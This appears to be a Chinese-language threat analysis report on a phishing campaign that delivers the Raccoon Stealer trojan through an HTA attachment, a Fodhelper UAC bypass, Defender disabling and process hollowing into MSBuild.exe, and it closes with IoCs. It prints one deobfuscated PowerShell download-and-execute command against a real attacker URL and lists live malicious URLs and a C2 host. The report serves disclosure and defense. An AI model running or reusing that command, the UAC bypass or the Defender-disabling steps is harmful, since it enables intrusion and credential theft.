“幻鼠”组织针对我国的窃密攻击活动分析
表2-1 ATT&CK技术行为描述表
ATT&CK阶段/类别 | 具体行为 | 注释 |
侦察 | 搜集受害者身份信息 | 钓鱼邮件中含有员工姓氏与电子邮件地址 |
搜集公开网站/域 | 获得员工姓氏与联系方式 | |
初始访问 | 网络钓鱼 | 攻击者发送带有恶意附件的电子邮件 |
执行 | 利用命令和脚本解释器 | 用PowerShell命令和VB脚本执行恶意命令 |
利用计划任务/工作 | 设置计划任务重复下载恶意文件 | |
诱导用户执行 | 诱导用户解压恶意附件并双击运行 | |
持久化 | 利用自动启动执行引导或登录 | 攻击者设置开机启动项下载恶意文件 |
利用计划任务/工作 | 设置计划任务重复下载恶意文件 | |
提权 | 操纵访问令牌 | 攻击者使用重复的令牌创建新进程 |
防御规避 | 执行签名的二进制文件代理 | 利用Mozilla DLL从Mozilla产品中收集数据 |
操纵访问令牌 | 攻击者使用重复的令牌创建新进程 | |
反混淆解码文件或信息 | 载荷中多次使用到混淆代码和字符串 | |
间接执行命令 | 调用VB脚本执行PowerShell命令 | |
修改注册表 | 添加注册表项实现开机自启动 | |
进程注入 | 注入到合法的MSBuild.exe进程中 | |
凭证访问 | 从存储密码的位置获取凭证 | 搜寻密码管理器1Password和bitwarden |
窃取Web会话Cookie | 搜寻浏览器cookie值 | |
发现 | 发现账户 | 搜寻本地账户和电子邮件账户 |
发现浏览器书签 | 窃密载荷窃取用户浏览器中保存的数据 | |
发现进程 | 遍历当前系统内进程 | |
发现软件 | 查询软件版本 | |
发现系统网络连接 | 获取系统公网IP地址 | |
发现系统信息 | 获取有关操作系统和硬件的详细信息 | |
收集 | 收集电子邮件 | 以用户电子邮件为目标收集敏感信息 |
压缩/加密收集的数据 | 将收集到的数据进行压缩上传至C2 | |
获取屏幕截图 | 截取桌面的屏幕截图 | |
数据渗出 | 使用Web服务回传 | 将数据发送至C2 |
3.1 攻击流程图
攻击者在本次攻击行动中的攻击流程图如下所示:
3.2 初始访问
攻击者通过模仿国内某化学品生产企业的邮件模板制作钓鱼邮件,邮件中含有压缩包,压缩包解压后是名为“WUXI 217 UY 593325.hta”的html应用程序。
图3‑2 钓鱼邮件内容
3.3 连接C2下载窃密载荷
附件程序第一个功能是连接恶意载荷相关URL下载名为“Preshuru.txt”的恶意文件,调用PowerShell命令释放并执行窃密载荷Raccoon Steale窃密木马,该窃密木马将在样本分析章节详细分析。
攻击者在Internet Archive中创建了一个名为“Preshuru”的项目,在该项目中下挂恶意文件“Preshuru.txt”,通过利用正常的网站程序存储恶意代码方式来提高溯源难度。
3.4 添加计划任务
附件程序第二个功能是设置计划任务,计划任务访问恶意载荷相关URL,下载并执行恶意代码,安天CERT发现该计划任务的功能主要是Fodhelper UAC绕过和削弱Microsoft Defender防病毒功能。
图3‑3 添加计划任务
攻击者使用blogger搭建的博客来传播恶意程序,该博客如下图所示:
查看攻击者博客网页源代码,发现攻击者用Escape加密了一段字符串。
安天CERT解密字符串后发现这段字符串的功能是用VBscript.shell执行PowerShell命令。
对Powerhsell进行反混淆处理发现攻击者连接恶意载荷相关URL并下载其他恶意程序,反混淆后的PowerShell命令如下所示:
PowerShell(New-objectSystem.Net.WebClient)Downloadstring(https://73cceb63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt) |I`E`X |
下载的文件主要功能为:使用PowerShellSystem.Net.WebClient下载并执行恶意载荷,如下所示:
表3‑1 下载恶意载荷
下载载荷路径和文件名 |
C:\Users\Public\clone.vbs |
C:\Users\Public\kuchb.vbs |
C:\Users\Public\batman.bat |
恶意载荷kuchb.vbs脚本的主要功能是借助注册表与白名单程序C:\Windows\system32\fodhelper.exe(合法的Microsoft可执行文件)绕过UAC(用户帐户控制)。
攻击者通过CLSID{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}得到WshShell对象,用以操作注册表项和运行程序。攻击者通过构造如下的注册表运行操作系统的UAC白名单程序“fodhelper.exe”,该程序会以管理员权限运行且不弹出UAC确认窗口,“batman.bat”会被调用且自动获得管理员权限。
图3‑8 kuchb.vbs添加注册表
bstman.bat脚本主要功能为执行“C:\Users\Public\clone.vbs”脚本。clone.vbs脚本的主要功能为使用VBScript脚本更改默认进程安全级别,并使用多种方式禁止或削弱Microsoft Defender防病毒功能。
在隐藏窗口中创建进程,解密并运行一段被加密的PowerShell命令,主要功能是禁用Microsoft Defender实时扫描部分文件夹中的文件和部分指定的进程打开的文件。
解密的Powershell代码直接修改注册表项禁用Microsoft Defender防病毒,调用命令行执行禁用Microsoft Defender防病毒应用程序,停止WinDefend服务启动,禁用入侵预防系统,禁用实时监控,禁用脚本扫描,取消受控文件夹访问,取消网络保护审核模式和取消云保护等命令。
图3‑10 禁用Microsoft Defender
3.5 添加注册表
附件程序第三部分功能是设置四个开机启动项。设置开机启动项的功能是访问4个不同的网址下载不同功能模块。添加注册表如下图所示,其中部分功能与前述功能相同。
图3‑11 添加注册表
注册表功能如下表所示:
注册表项 | 主要功能 |
care | 下载窃密载荷并执行 |
task1 | Fodhelper UAC绕过和削弱Microsoft Defender防病毒功能 |
task2 | 功能未完善 |
backpup | 获取用户系统信息 |
3.5.1 连接C2下载窃密载荷木马
与前述小节中连接C2下载窃密载荷实现的功能相同,该注册表同样实现下载并执行窃密载荷RaccoonStealer窃密木马,不同之处在于将一段PowerShell命令添加到注册表中,实现开机自动执行该命令,这种实现功能的方法更加隐秘,增强了载荷的持久化效果。
3.5.2 获取用户系统信息
注册表backpup实现开机自动访问恶意载荷相关URL,该组件的主要功能是获取用户浏览器插件信息、用户公网IP地址和系统信息等。
安天CERT分析发现该URL访问了一个攻击者使用blogger搭建的博客,查看该网页源代码时发现了一段加密的字符串,将这段字符串解密后发现其还访问另一个URL,如下图所示:
图3‑13 解密后的字符串
该网址打开后显示一个空白页,安天CERT查看该网页源代码,发现攻击者使用PluginDetectv脚本进行相关恶意行为,实现的主要功能是获取用户系统信息、浏览器版本信息、相关插件信息、用户公网IP和局域网IP地址等信息。
图3‑14 攻击者使用的PluginDetectv脚本
3.5.3 Fodhelper UAC绕过、削弱MicrosoftDefender防病毒功能
注册表task1实现开机自动连接恶意载荷相关URL并下载恶意程序,安天CERT分析发现该注册表实现的功能跟计划任务中的功能一致,实现UAC绕过、削弱Microsoft Defender防病毒功能。实现后续持久化,确保恶意功能的实现。
4.1 Preshuru.txt脚本分析
攻击者在Internet Archive中创建了一个名为“Preshuru”的项目,该项目中存在上述下载的Preshuru.txt恶意文件。攻击者通过这种方式提高溯源难度。
攻击者将可执行文件的16进制数据转储为字符串,通过PowerShell命令对字符串进行还原,安天CERT分析人员发现该PowerShell中存在两个可执行文件,一个为Raccoon Stealer窃密木马,另一个为恶意加载器DLL。攻击者首先调用PowerShell将字符串转化为PE文件,然后启动系统自带“MSBuild.exe”文件进程,调用恶意加载器,最后通过“进程镂空”技术将Raccoon Stealer窃密木马注入到白文件MSBuild.exe进程中。
图4‑2 Preshuru.txt恶意文件
4.2 恶意加载器分析
病毒名称 | Trojan/Win32.Raccoon |
原始文件名 | 6.6.dll |
MD5 | 7E53291490FC5C10AC08B09FB25A6439 |
处理器架构 | Intel 386 or later, and compatibles |
文件大小 | 19.50 KB (19968 字节) |
文件格式 | Executable,32-bit,DLL |
时间戳 | 2067-04-29 23:20:06 |
数字签名 | 无 |
加壳类型 | 无 |
编译语言 | Microsoft Visual C# / Basic.NET |
VT首次上传时间 | 2021-05-20 06:29:21 |
VT检测结果 | 52/69 |
创建挂起的MSBuild.exe进程读取线程上下文,如下图所示:
读取MSBuild.exe原始入口点,卸载MSBuild.exe占用的内存,如下图所示:
在MSBuild.exe进程中分配一个内存空间,将Raccoon Stealer窃密木马注入到MSBuild.exe的进程中。如下图所示:
通过修改MSBuild.exe的区段、修改MSBuild.exe的入口点和恢复主线程,最终实现依附于MSBuild.exe白文件执行Raccoon Stealer窃密木马文件。
图4‑6 修改MSBuild.exe的入口点、恢复主线程
4.3 Raccoon Stealer窃密木马分析
病毒名称 | Trojan/Win32.Raccoon |
MD5 | 9C22ED2D1E95E3896E695038BE6E5A5B |
处理器架构 | Intel 386 or later, and compatibles |
文件大小 | 573.00 KB (586752 bytes) |
文件格式 | BinExecute/Microsoft.EXE[:X86] |
时间戳 | 2021-03-21 13:29:45 |
数字签名 | 无 |
加壳类型 | 无 |
编译语言 | Microsoft Visual C++ |
VT首次上传时间 | 2021-05-23 04:26:08 |
VT检测结果 | 52/69 |
安天CERT发现释放的窃密载荷为Raccoon Stealer窃密木马,该木马首次出现于2019年4月,是暗网中最受关注的10大恶意软件之一,目前已经感染了全球数十万台设备。该木马具有窃取登录凭据、信用卡信息、加密货币钱包和浏览器信息等恶意功能。
Raccoon Stealer窃密木马运行后获取系统语言设置,当系统语言设置为俄语、乌克兰语、白俄罗斯语、哈萨克语、吉尔吉斯语、亚美尼亚语、塔吉克语和乌兹别克语时则退出程序。
Raccoon Stealer窃密木马与hxxps://telete.in/telehabarik建立连接,将sqlite3.dll文件下载到“%USERPROFILE%/AppData/LocalLow”目录中。SQLite是一个C语言编写的一个小型的SQL数据库引擎。
在浏览器中访问Raccoon Stealer窃密木马连接的C2时显示如下画面。
Raccoon Stealer窃密木马与C2建立连接,将一个名为“pY4zE3fX7h.zip”的文件下载到%USERPROFILE%\AppData\LocalLow\gC9tT2iQ3s\目录下并解压,解压后的文件包含带有Mozilla数字签名的Mozilla DLL。
攻击者利用解压获得的Mozilla DLL,从Mozilla产品中收集数据。涉及的软件包含Firefox、Waterfox、SeaMonkey、Pale Moon和Thunderbird等。利用从C2下载的sqlite3收集浏览器数据,包含Login Data、Cookies、User data、Web Data和浏览器中保存的加密货币钱包等。将从浏览器中获取的数据存放在相应目录中,涉及的浏览器如下表所示:
表4‑4 获取账号信息的邮件应用程序
Outlook | ThunderBird | Gmail | Foxmail |
表4‑5 获取密码管理器中的密码
1Password | bitwarden |
收集数据货币钱包如下表所示:
表4‑6 收集数据货币钱包
获取用户详细系统信息保存在System Info.txt文件中,获取用户详细系统信息如下图所示:
获取用户系统屏幕截图,如下图所示:
获取用户信息完成后,将保存数据的文件压缩上传至C2。压缩包中包含客户机浏览器保存的登录密码、浏览记录、邮箱客户端与邮箱服务的密码和客户端桌面截屏。
在本次攻击活动中,攻击者使用了多种手段来规避溯源和查杀。
5.1 反溯源
安天CERT在分析过程中发现攻击者利用InternetArchive(互联网档案)和blogger博客来传播恶意文件以及窃密载荷使用Telegram进行通信。攻击者通过利用正常的域名网站下挂恶意代码方式防止被追踪溯源。
5.2 反查杀
利用注册表实现恶意载荷访问:设置四个注册表开机启动项访问不同的恶意载荷相关URL进行不同的功能,利用注册表实现恶意载荷访问。
最终窃密载荷不落地:攻击者调用PowerShell将字符串转化为PE文件,运行白文件“MSBuild.exe”,调用恶意DLL文件,通过进程镂空技术将EXE注入到白文件MSBuild.exe进程中,使最终的载荷不落地避免杀软检测。
削弱Microsoft Defender防病毒功能:样本会在隐藏窗口中创建进程,解密并运行一段被加密的PowerShell命令,其主要功能是禁用Microsoft Defender计划和实时扫描部分文件夹中的文件与部分指定的进程打开的任何文件。修改注册表项禁用Microsoft Defender防病毒,调用命令行执行禁用Microsoft Defender防病毒应用程序,停止WinDefend服务启动,禁用入侵预防系统,禁用实时监控,禁用脚本扫描,取消受控文件夹访问,取消网络保护审核模式和取消云保护等命令。
安天CERT通过跟踪Internet Archive上“Preshuru”项目的创建时间以及访问次数发现该攻击活动从2021年4月一直持续至今,并推测可能存在上千感染者。
图6‑1 Internet Archive上“Preshuru”项目
IoCs | 说明 |
B6063E8CA557E194F86B26D8D963A626 | 邮件 |
42C31F71FF0C16C46847A3F877E7AAD1 | 附件 |
6AD597BFFD44EAA9CEF150B5E5C94C85 | Preshuru.txt |
9C22ED2C1E95E3896E695038BE6E5A5B | Raccoon Stealer木马 |
7E53291490FC5C10AC08B09FB25A6439 | 加载器 |
7B71D1DC68C85A97DCB5DE7940C8ECD3 | batman_bat |
3C259ED4526EA39A50D519B486B7086A | clone_vbs |
EE9ADC373B80E1AFD98BDF0486F1F66A | kuchb_vbs |
https://ia601408.us.archive.org/0/items/Preshuru/Preshuru.txt | 下载Raccoon Stealer窃密木马和恶意加载器 |
http://1230948%1230948@papagujjiiiiii.blogspot.com/p/42.html | PluginDetectv脚本 |
http://1230948%1230948@9ke6n.blogspot.com/p/42.html | 注册表task1访问的URL |
http://1230948%1230948@kix2k.blogspot.com/p/42.html | 注册表task2访问的URL |
https://73cceb63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt | 下载混淆的PowerShell |
https://73cceb63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt | URL下载clone.vbs |
https://73cceb63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt | URL下载kuchb.vbs |
https://73cceb63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt | URL下载batman.bat |
https://telete.in/telehabarik | C2 |